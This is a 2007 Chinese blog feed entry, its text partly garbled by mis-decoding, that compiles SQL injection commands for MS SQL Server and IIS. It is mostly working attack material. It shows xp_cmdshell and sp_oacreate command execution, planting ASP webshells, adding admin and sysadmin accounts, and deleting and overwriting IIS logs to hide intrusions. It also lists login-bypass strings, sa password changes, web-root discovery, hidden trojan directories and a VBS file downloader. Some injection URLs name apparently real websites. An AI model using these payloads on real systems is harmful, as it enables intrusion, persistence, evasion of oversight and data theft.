??xml version="1.0" encoding="utf-8" standalone="yes"?>亚洲国产天堂久久综合网站,亚洲综合一区国产精品,亚洲成a人片在线观http://www.tkk7.com/jlin/category/12889.htmlzh-cnSun, 11 Mar 2007 01:02:44 GMTSun, 11 Mar 2007 01:02:44 GMT60最详细的SQL注入相关的命令整??http://www.tkk7.com/jlin/articles/103035.htmlflyflySat, 10 Mar 2007 12:44:00 GMThttp://www.tkk7.com/jlin/articles/103035.htmlhttp://www.tkk7.com/jlin/comments/103035.htmlhttp://www.tkk7.com/jlin/articles/103035.html#Feedback0http://www.tkk7.com/jlin/comments/commentRss/103035.htmlhttp://www.tkk7.com/jlin/services/trackbacks/103035.html QUOTE:
1?  用^转义字符来写ASP(一句话木马)文g的方?
?   http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--

?   echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

2?  昄SQLpȝ版本Q?
?   http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)
?   http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)--

Microsoft VBScript ~译器错?错误 '800a03f6'
~少 'End'
/iisHelp/common/500-100.aspQ行242
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.
/display.aspQ行17
3?  在检烦g国的|站漏洞Ӟ分明已经定了漏z存在却无法在这三种漏洞中找到对应的cd。偶焉我想C在SQL语言中可以用“in”关键字q行查询Q例如“select * from mytable where id in(1)”,括号中的值就是我们提交的数据Q它的结果与使用“select * from mytable where id=1”的查询l果完全相同。所以访问页面的时候在URL后面加上? and 1=1 and 1 in(1”后原来的SQL语句变成了“select * from mytable where id in(1) and 1=1 and 1 in(1)”,q样׃出现期待已久的页面了。暂且就叫这U类型的漏洞为“包含数字型”吧Q聪明的你一定想Cq有“包含字W型”呢。对了,它就是由于类似“select * from mytable where name in(‘firstsee?”的查询语句造成的?br />
4?  判断xp_cmdshell扩展存储q程是否存在Q?br />http://192.168.1.5/display.asp?keyno=188 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
恢复xp_cmdshell扩展存储的命令:
http://www.test.com/news/show1.asp?NewsId=125272
;exec master.dbo.sp_addextendedproc 'xp_cmdshell',’e:\inetput\web\xplog70.dll?--

5?  向启动组中写入命令行和执行程序:
http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'


6?  查看当前的数据库名称Q?br />?   http://192.168.1.5/display.asp?keyno=188 and 0<>db_name(n) nҎ0,1,2,3……就可以跨库?br />?   http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,db_name())--
Microsoft VBScript ~译器错?错误 '800a03f6'
~少 'End'
/iisHelp/common/500-100.aspQ行242
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'huidahouse' to a column of data type int.
/display.aspQ行17
7?  列出当前所有的数据库名Uͼ
select * from master.dbo.sysdatabases   列出所有列的记?br />select name from master.dbo.sysdatabases 仅列出name列的记录

8?  不需xp_cmdshell支持在有注入漏洞的SQL服务器上q行CMD命oQ?br />CREATE TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true'
--注意run的参数true指的是将{待E序q行的结果,对于cMping的长旉命o必需使用此参数?br />
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
--因ؓfso的opentextfileҎ返回一个textstream对象Q所以此时@file是一个对象o?br />
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

DROP TABLE MYTMP

----------
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true'
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

以下是一行里面将WEB用户加到理员组中:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

以下是一行中执行EXEE序Q?br />DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript.exe E:\bjeea.net.cn\score\fts\images\iis.vbs lh1 c:\>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

SQL下三U执行CMD命o的方法:

先删?.18h志:
(1)exec master.dbo.xp_cmdshell 'del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt'

(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

Q?Q首先开启jet沙盘模式Q通过扩展存储q程xp_regwrite修改注册表实玎ͼ理员修Ҏ册表不能预防的原因。出于安全原因,默认沙盘模式未开启,q就是ؓ什么需要xp_regwrite的原因,而xp_regwrite臛_需要DB_OWNER权限Qؓ了方便,q里使用sysadmin权限试Q?br />?   exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
注:
0   止一切(默认Q?br />1   使能讉KACCESSQ但是禁止其?br />2   止讉KACCESSQ但是能其?br />3   使能一?br />
?   q里仅给出sysadmin权限下用的命oQ?br />select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')


?   建立链接数据?L0op8ack'参考命令:
EXEC sp_addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'

?   如何使用链接数据库:

使用q个方式可以执行Q但是很不幸QDB_OWNER权限是不够的Q需要至sysadmin权限或者securityadmin+setupadmin权限l合
sp_addlinkedserver需要sysadmin或setupadmin权限
sp_addlinkedsrvlogin需要sysadmin或securityadmin权限
最l发玎ͼq是sa权限或者setupadmin+securityadmin权限帐户才能使用Q?br />一般没有哪个管理员q么讄普通帐h限的

实用性不强,仅作Z个学习ȝ?br />
大致q程如下Q如果不是sysadminQ那么IAS.mdb权限验证会出错,
我测试的时候授予hackerq个用户setupadmin+securityadmin权限Q用ias.mdbp|
需要找一个一般用户可讉K的mdb才可以:

?   新徏链接服务器”L0op8ack?EXEC sp_addlinkedserver 'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:\winnt\system32\ias\ias.mdb';--
?   exec sp_addlinkedsrvlogin 'L0op8ack','false';--?br />exec sp_addlinkedsrvlogin 'L0op8ack', 'false', NULL, 'test1', 'ptlove';--
?   SELECT * FROM OPENQUERY(L0op8ack, 'SELECT shell("cmd.exe /c net user")');--
?   exec sp_droplinkedsrvlogin 'L0op8ack','false';--
?   exec sp_dropserver 'L0op8ack';--

再考贝一个其它文件来代替7.18日文Ӟ
(1)exec master.dbo.xp_cmdshell 'copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt'

(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c net user>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

9?  用UPDATE来更新表中的数据Q?br />HTTP://xxx.xxx.xxx/abc.asp?p=YY;update upload.dbo.admin set pwd='a0b923820dcc509a' where username='www';--
www用户密码?6位MD5gؓQa0b923820dcc509aQ即把密码改?Q?br />32位MD5gؓQ?  Q密码ؓ

10?  利用表内容导成文件功?br />SQL有BCP命oQ它可以把表的内容导成文本文件ƈ攑ֈ指定位置。利用这功能,我们可以先徏一张时表Q然后在表中一行一行地输入一个ASP木马Q然后用BCP命o导出形成ASP文g?br />命o行格式如下:
bcp "select * from temp " queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost –U sa –P upload('S'参数为执行查询的服务器,'U'参数为用户名Q?P'参数为密码,最l上传了一个runcommand.asp的木??br />
11、创、播入数据和d数据的方?br />?   创徏表:
' and 1=1 union select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))--
?   往表里播入数据Q?br />' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype='U' and status>0,@result output insert into cyfd (gyfd) values(@result);--
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
?   从表里读取数据:
' and 1=(select count(*) from cyfd where gyfd >1)--

?   删除临时表:
';drop table cyfd;--

12、通过SQL语句直接更改sa的密码:
?   update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,q样sa的密码就被我们改成了111111拉。呵呵,解决的方法就是把sal删拉。,怎么删可以参考我的《完全删除saq个后门》?br />
?   查看本机所有的数据库用户名Q?br />select * from master.dbo.sysxlogins
select name,sid,password ,dbid from master.dbo.sysxlogins

?   更改sa口oҎQ用sqll合利用工具q接后,执行命oQ?br />exec sp_password NULL,'新密?,'sa'

13、查询dvbbs库中所有的表名和表l构Q?br />?   select * from dvbbs.dbo.sysobjects where xtype='U' and status>0
?   select * from dvbbs.dbo.syscolumns where id=1426104121

14、手工备份当前数据库Q?br />完全备䆾Q?br />;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH formAT--
差异备䆾Q?br />;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH DIFFERENTIAL,formAT?br />
15、添加和删除一个SA权限的用户testQ?br />exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin

cmd.exe /c isql -E /U alma /P /i K:\test.qry

16、select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0
可以列出库ChouYFD中所有的用户建立的表名?br />Select name,id from ChouYFD.dbo.sysobjects where xtype='U' and status>0

17?br />?   http://www.npc.gov.cn/zgrdw/common/image_view.jsp?sqlstr=select * from rdweb.dbo.syscolumns Qwhere id=1234Q?br />列出rdweb库中所有表中的字段名称
?   select * from dvbbs.dbo.syscolumns where id=5575058
列出库dvbbs中表id=5575058的所有字D名

18、删除记录命令:delete from Dv_topic where boardid=5 and topicid=7978

19、绕q登录验证进入后台的Ҏ整理Q?br />1) ' or''='
2) ' or 1=1--
3) ?or ‘a?’a--
4) ‘or?’or?br />5) " or 1=1--
6Qor 1=1--
7Q?or ’a=’a
8Q? or "a"="a
9Q?? or (’a?’a
10Q?") or ("a"="a
11Q?Q?or (1=1
12) 'or''='
13) 人气%?and 1=1 and ???br />
20、寻扄站\径的Ҏ汇总:
1Q查看WEB|站安装目录命oQ?br />?   cscript c:\inetpub\adminscripts\adsutil.vbs enum w3svc/2/root >c:\test1.txt Q将2换成1???试试Q?br />type c:\test1.txt
del c:\test1.txt
在NBSI下可以直接显C行结果,所以不用导出到文g

2Q在|站上随便找C个图片的名字 123.jpg
然后写进批处理程?23.bat:
d:
dir 123.jpg /s >c:\123.txt
e:
dir 123.jpg /s >>c:\123.txt
f:
dir 123.jpg /s >>c:\123.txt

执行?type c:\123.txt
q样来分析网站的路径

3QSQL服务器和|站服务器在同一个服务器上,好了是可以执行命令是吧?
执行命令输出结果到
%windir%\help\iishelp\common\404b.htm或?00.asp
注意输出前Backupq两个文?br />如:
dir c:\ >%windir%\help\iishelp\common\404b.htm
然后随便输入一个文件来讉KQhttp://目标ip/2.asp

4Q针对win2000pȝQxp_regreaddHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots 获取WEB路径
2003pȝQxp_regreaddQ未扑ֈҎ
如:
Q?Q?  新徏一个表cyfd(字段为gyfd)Q?a target="_blank">http://www.cnwill.com/NewsShow.aspx?id=4844;create table [dbo].[cyfd]([gyfd][char](255))--
Q?Q?  把web路径写进?http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
Q?Q?  q是让他不匹配,昄错误:http://www.cnwill.com/NewsShow.aspx?id=4844 and 1=(select count(*) from cyfd where gyfd >1)
Source: .Net SqlClient Data Provider
Description: ?varchar ?'Y:\Web\烟台人才热线后台理pȝ,,201 ' 转换为数据类型ؓ int 的列时发生语法错误?br />TargeSite: Boolean Read() 哈哈哈。。\径暴露了。?br />Q?Q接下来删除?http://www.cnwill.com/NewsShow.aspx?id=4844;drop table cyfd;--

5Q用regedit命o导出注册表,导出的l果保存的\径到%windir%\help\iishelp\common\404b.htm或?00.asp面
regedit命o说明Q?br />Regedit /L:system /R:user /E filename.reg Regpath
参数含义Q?br />/LQsystem指定System.dat文g所在的路径?br />/RQuser指定User.dat文g所在的路径?br />/EQ此参数指定注册表编辑器要进行导出注册表操作Q在此参数后面空一|输入导出注册表的文g名?br />RegpathQ用来指定要导出哪个注册表的分支Q如果不指定Q则导出全部注册表分支。在q些参数中,"/LQsystem"?/RQuser"参数是可选项Q如果不使用q两个参敎ͼ注册表编辑器则认为是?a class="wordstyle" target="_blank">WINDOWS目录下的"system.dat"?user.dat"文gq行操作。如果是通过从Y盘启动ƈq入DOSQ那么就必须使用"/L"?/R"参数来指?system.dat"?user.dat"文g的具体\径,否则注册表编辑器无法找到它们。比如说Q如果通过启动盘进入DOSQ则备䆾注册表的命o?Regedit /L:C:\windows\/R:C:\windows\/e regedit.reg",该命令的意思是把整个注册表备䆾?a class="wordstyle" target="_blank">WINDOWS目录下,其文件名?regedit.reg"。而如果输入的?regedit /E D:\regedit.reg"q条命oQ则是说把整个注册表备䆾到D盘的根目录下Q省略了"/L"?/R"参数Q,其文件名?Regedit.reg"?br />
regedit /s c:\adam.reg Q导入c:\adam.reg文gx册表Q?br />regedit /e c:\web.reg Q备份全部注册内容到c:\web.reg中)
针对win2000pȝQC:\>regedit /e %windir%\help\iishelp\common\404b.htm "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots"
然后http://目标IP/2.asp
针对win2003pȝQ没有找刎ͼ希望扑ֈ的朋友公布出来一赯论?br />
6Q虚拟主Z%SystemRoot%\system32\inetsrv\MetaBack\下的文g是iis的备份文Ӟ是允许web用户讉K的,如果你的iis备䆾到这里,用webshell下蝲下来后用C本打开Q可以获取对应的域名和webl对路径?br />
7QSQL注入建立虚拟目录Q有dbo权限下找不到webl对路径的一U解军_法:
我们很多情况下都遇到SQL注入可以列目录和q行命oQ但是却很不Ҏ扑ֈweb所在目录,也就不好得到一个webshellQ这一招不错:
?   建立虚拟目录win,指向c:\winnt\system32Qexec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'
?   让win目录h解析asp脚本权限Qexec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/win/Accessexecute "true" –s:'
?   删除虚拟目录winQexec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/'
?   试Q?a target="_blank">http://127.0.0.1/win/test.asp
8Q利用SQL语句来查找WEB目录Q根据经验,猜疑WEB根目录的序是:d盘、e盘、c盘,首先我们建立一个时表用于存放master..xp_dirtree(适合于public)生成的目录树,用以下语句:
;create table temp(dir nvarchar(255),depth varchar(255));--,该表的dir字段表示目录的名Uͼdepth字段表示目录的深度。然后执行xp_dirtree获得D盘的目录树,语句如下Q?
;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';--

在进行下面的操作前,先查看D盘有几个文g夹,q样对D盘有个大致的了解Q语句如下:
and (select count(*) from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM ?))>=数字(数字=0???...)

接着Q我们在Ҏ的网站上扑և个一U子目录Q如user、photoQ然后,用筛选的Ҏ来判断WEB根目录上是否存在此盘上,语句如下Q?
and (select count(*) from temp where dir<>'user')<(select count(*) from temp)

看语句的q回l果Q如果ؓ真,表示WEB根目录有可能在此盘上Qؓ了进一步确认,多测试几个子目录Q?
and (select count(*) from temp where dir<>'photo')<(select count(*) from temp)

...

如果所有的试l果都ؓ真,表示WEB根目录很有可能在此盘上?

下面假设扑ֈ的WEB根目录在此盘上,用以下的语句来获得一U子目录的深度:
and (select depth from temp where dir='user')>=数字(数字=1??...)

假设得到的depth?,说明user目录是D盘的3U目录,则WEB根目录是D盘的二目录?

目前我们已经知道了根目录所在的盘符和深度,要找到根目录的具体位|,我们来从D盘根目录开始逐一搜寻Q当Ӟ没有必要知道每个目录的名Uͼ否则太耗费旉了?

接下来,另外建立一个时表Q用来存放D盘的1U子目录下的所有目录,语句如下Q?

;create table temp1(dir nvarchar(255),depth varchar(255));--

然后把从D盘的W一个子目录下的所有目录存到temp1中,语句如下Q?
declare @dirname varchar(255);set @dirname='d:\'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM ?) order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname
当然也可以把D盘的W二个子目录下的所有目录存到temp1中,只需把第二个top 1改ؓtop 2p了?

现在Qtemp1中已l保存了所有D盘第一U子目录下的所有目?然后Q我们用同样的方法来判断根目录是否在此一U子目录下:
and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)
如果q回为真Q表C根目录可能在此子目录下Q记住要多测试几个例子,如果都返回ؓ假,则表明WEB根目录不在此目录下,然后我们在用同样的方法来获得D盘第2?...个子目录下的所有目录列表,来判断WEB根目录是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的内容删除?

现在假设QWEB根目录在D盘的W一U子目录下,该子目录名称为website,怎样获得q个目录的名U我想不用我说了吧。因为前面我们知道了WEB根目录的深度?Q我们需要知道website下到底哪个才是真正的WEB根目录?

现在Q我们用同样的方法,再徏立第3个时表Q?
;create table temp2(dir nvarchar(255),depth varchar(255));--

然后把从D盘的website下的所有目录存到temp2中,语句如下Q?
declare @dirname varchar(255);set @dirname='d:\website\'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM ?) order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname
当然也可以把D盘的website下第二个子目录下的所有目录存到temp2中,只需把第二个top 1改ؓtop 2p了?

现在Q我们用同样的方法判断该目录是否为根目录Q?
and (select count(*) from temp2 where dir<>'user')<(select count(*) from temp2)
如果q回为真Qؓ了确定我们的判断Q多试几个例子Q方法上面都讲到了,如果多个例子都返回ؓ真,那么q定了该目录ؓWEB根目录?


用以上的Ҏ基本上可以获得WEB根目录,现在我们假设WEB根目录是QD:\website\www
然后Q我们就可以备䆾当前数据库到q个目录下用来下载。备份前我们把temp、temp1、temp2的内ҎI,然后C、D、E盘的目录树分别存到temp、temp1、temp2中?

下蝲完数据库后要记得把三个时表DROP掉,现在我们在下载的数据库中可以扑ֈ所有的目录列表Q包括后台管理的目录以及更多信息?br />
21、win2000下将WEB用户提升为系l用h限,需要有理员的权限才能执行Q?br />c:\>cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll"

cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\windows\system32\idq.dll" "C:\windows\system32\inetsrv\httpext.dll" "C:\windows\system32\inetsrv\httpodbc.dll" "C:\windows\system32\inetsrv\ssinc.dll" "C:\windows\system32\msw3prt.dll" "C:\windows\system32\inetsrv\asp.dll"

查看是否成功Q?br />c:\>cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps

Microsoft (R) Windows Script Host Version 5.6
版权所?C) Microsoft Corporation 1996-2001。保留所有权利?br />inprocessisapiapps       : (LIST) (6 Items)
"C:\WINNT\system32\idq.dll"
"C:\WINNT\system32\inetsrv\httpext.dll"
"C:\WINNT\system32\inetsrv\httpodbc.dll"
"C:\WINNT\system32\inetsrv\ssinc.dll"
"C:\WINNT\system32\msw3prt.dll"
"c:\winnt\system32\inetsrv\asp.dll"

22、如何隐藏ASP木马Q?br />建立非标准目录:mkdir images..\
拯ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp
通过web讉KASP木马Q?a href="http://ip/images../news.asp?action=login" target="_blank">http://ip/images../news.asp?action=login
如何删除非标准目录:rmdir images..\ /s

23、去掉tenlnet的ntlm认证Q?br />;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'?br />
24、用echo写入文g下蝲脚本iget.vbs:
(1)echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >c:\iget.vbs

(2)c:\>cscript iget.vbs http://127.0.0.1/asp/dbm6.asp dbm6.asp


25、手工徏立IIS隐藏目录的方法:
?   查看本地虚拟目录列表Qcscript.exe c:\inetpub\AdminScripts\adsutil.vbs enum w3svc/1/root
?   新徏一个kiss目录Qmkdir c:\asp\kiss
?   建立kiss虚拟目录Qcscript.exe c:\inetpub\AdminScripts\mkwebdir.vbs -c MyComputer -w "Default Web Site" -v "kiss","c:\asp\kiss"  
?   为kiss目录加执行和写权限:
cscript.exe c:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/kiss/kiss/accesswrite "true" -s:
cscript.exe c:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/kiss/accessexecute "true" -s:
?   ?:Cscript c:\inetpub\AdminScripts\adsutil.vbs set /w3svc/1/root/kiss/createprocessasuser false
?   讉KQ?a target="_blank">http://127.0.0.1/kiss/test.asp

26、用openrowset()q回本地做测试:
SELECT a.*
FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111',
'SELECT * FROM [dvbbs].[dbo].[dv_admin]') AS a

SELECT * FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111',
'SELECT * FROM [dvbbs].[dbo].[dv_admin]')

27、获得主机名Q?br />http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@servername)--
select convert(int,@@servername)
select @@servername

28、获得数据库用户名:
http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,system_user)--
http://www.19cn.com/showdetail.asp?id=49 and user>0
select user

29、普通用戯得WEBSHELL的方法之二:
?   打包Q?br />EXEC [master].[dbo].[xp_makecab] 'c:\test.rar','default',1,'d:\cmd.asp'
解包Q可以用于得到webshellQ?br />?   EXEC [master].[dbo].[xp_unpackcab] 'C:\test.rar','c:',1, 'n.asp'
?   MQ意文件内容,要求有master的dbo权限Q?br />EXEC [master].[dbo].[xp_readerrorlog] 1,'c:\cmd.asp'

30、sa 权限下已知web路径直接备䆾数据库到web路径?br />
http://www.XXXX.com/FullStory.asp?id=1;backuup database 数据库名 to disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文g下蝲(当然首选要知道WEB虚拟目录)?br />
?   遍历pȝ的目录结构,分析l果q发现WEB虚拟目录Q先创徏一个时表Qtemp
http://www.XXXX.com/FullStory.asp?id=1;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
?    接下来:我们可以利用xp_availablemedia来获得当前所有驱动器,q存入temp表中Q?br />http://www.XXXX.com/FullStory.asp?id=1;insert temp exec master.dbo.xp_availablemedia;--
?   我们可以通过查询temp的内Ҏ获得驱动器列表及相关信息或者利用xp_subdirs获得子目录列?q存入temp表中Q?br />http://www.XXXX.com/FullStory.asp?id=1;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--
?   我们q可以利用xp_dirtree获得所有子目录的目录树l构,q寸入temp表中Q?br />http://www.XXXX.com/FullStory.asp?id=1;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- q样可以成功的览到所有的目录Q文件夹Q列?br />?   如果我们需要查看某个文件的内容Q可以通过执行xp_cmdsellQ?insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--
